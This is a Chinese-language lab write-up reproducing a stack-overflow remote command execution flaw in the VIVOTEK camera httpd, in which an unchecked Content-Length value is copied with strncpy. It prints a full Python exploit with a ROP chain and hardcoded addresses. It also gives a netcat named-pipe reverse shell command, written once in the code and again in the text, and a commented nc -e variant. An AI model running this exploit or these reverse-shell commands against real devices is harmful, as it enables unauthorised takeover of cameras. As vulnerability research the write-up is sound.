漏洞分析:VIVOTEK棧溢位遠端命令執行漏洞
漏洞分析:VIVOTEK棧溢位遠端命令執行漏洞
這是/usr/sbin/httpd中,存在的對POST請求中Content-Length欄位處理不當導致的棧溢位,攻擊者通過構造惡意資料包實現RCE,下面對這個漏洞進行復現和分析,環境使用IoT-vulhub中提供的環境。
漏洞分析
由於韌體剝離了符號表,無法恢復出函式名和一些結構體,我翻了一下韌體裡面好像也沒有包含符號表,這對於逆向的難度比較大。我覺得在逆向httpd的過程中,要想離漏洞更近一步,就需要快速地理清楚http請求是在哪裡被處理的,然後再看處理http請求的過程中,在對字串進行處理的時候,使用了哪些危險函式,使用的這些危險函式有沒有可能造成棧溢位和命令注入這種漏洞。
sub_19D7C函式中,有一個switch-case的分支語句,裡面包含對各種http請求的處理:
第一個函式中,就是漏洞點存在的位置:當請求方式是POST請求或者PUT請求的時候,就會向棧中拷貝Content-Length欄位的值,拷貝的方式很原始,直接用strncpy複製,第三個引數的值由字串首尾指標相減得到,沒有對Content-Length的長度做出限制,就可能造成棧溢位。
漏洞利用
關於漏洞利用,路由器攝像頭這些和普通的pwn題肯定不一樣,pwn題輸入輸出繫結在埠上,system("/bin/sh")構造一條ROP鏈可以很簡單,但是對於這些IoT裝置肯定要起一個反彈shell。構思一下,大概需要這麼幾個步驟:
1.輸入的時候,輸入的值是拷貝到棧上的,這時候我們輸入的是反彈shell的命令;
2.我們需要把這個命令傳遞給system函式,那我們就需要先把sp指標移動到反彈shell被拷貝在棧上的位置;
3.然後再找到類似"mov r0,sp"這樣的gadget。
在除錯的過程中,發現在httpd崩潰之後,sp暫存器指向的地址,在拷貝的目的地址+0x38地址處,就是說如果把反彈shell的命令佈置在這個地址處,就可以不用找gadget去移動sp指標,只要再找到一條rop鏈,最終滿足"mov r0,sp"這種就可以了。
這個漏洞的利用中,還要考慮的一點就是規避"\x00"字元,如果構造的資料包中存在"\x00",strncpy在拷貝的過程中一定會被截斷,導致利用的失敗。如果遠端環境開啟了aslr,我們就只能利用httpd的自身的gadget先來洩露地址,而這時候gadget中不可避免地會出現"\x00",所以為了完成利用,可能確實得先關閉一下aslr,關閉aslr之後,system函式,棧地址這些在記憶體中的載入地址都是固定的,構造思路更簡單了。
除錯得到libc載入的基地址:
我們寫入的payload構造大致如下圖:
最終exp如下:
import os
#ttpd_path = "/root/squashfs-root/usr/sbin/httpd"
#lib_path = "/root/squashfs-root/lib/libc.so.0"
#elf = ELF(httpd_path)
#libc = ELF(lib_path)
libc_base = 0xb6f2d000
stack = 0xbeffeb08
# 0x00033100 : pop {r0, pc}
pop_r0_pc = 0x000485d4 + libc_base
system_addr = 0xb6f74ab0
#reverse_shell = "nc -e /bin/bash 192.168.2.1 3456\n"
reverse_shell = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.1 3456 > /tmp/f"
ropchain = 'a'*52 + p32(pop_r0_pc) + p32(stack) + p32(system_addr) + reverse_shell
payload = "POST /cgi-bin/admin/upgrade.cgi\r\nHTTP/1.0\nContent-Length:%s\n\r\n\r\n"%ropchain
cmd = b'''echo -en "%s" | nc -v 192.168.2.2 80'''%payload
log.success("%s"%(payload))
#os.system(cmd)
with open('./pd','rb+') as f:
f.write(cmd)
#p.interactive()
預設linux的nc沒有帶-e(傳送至性程式)選項, 選擇通過命名管道的方式把bash通過nc反彈出來:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.1 3456 > /tmp/f
寫入到pd這個檔案之後,chmod加上可執行許可權,同時在另一個視窗用nc偵聽3456埠,執行pd:
可以看到攻擊機和靶機在執行payload之後,建立了連線,但是不知道為啥sh沒有被彈出來......unbengable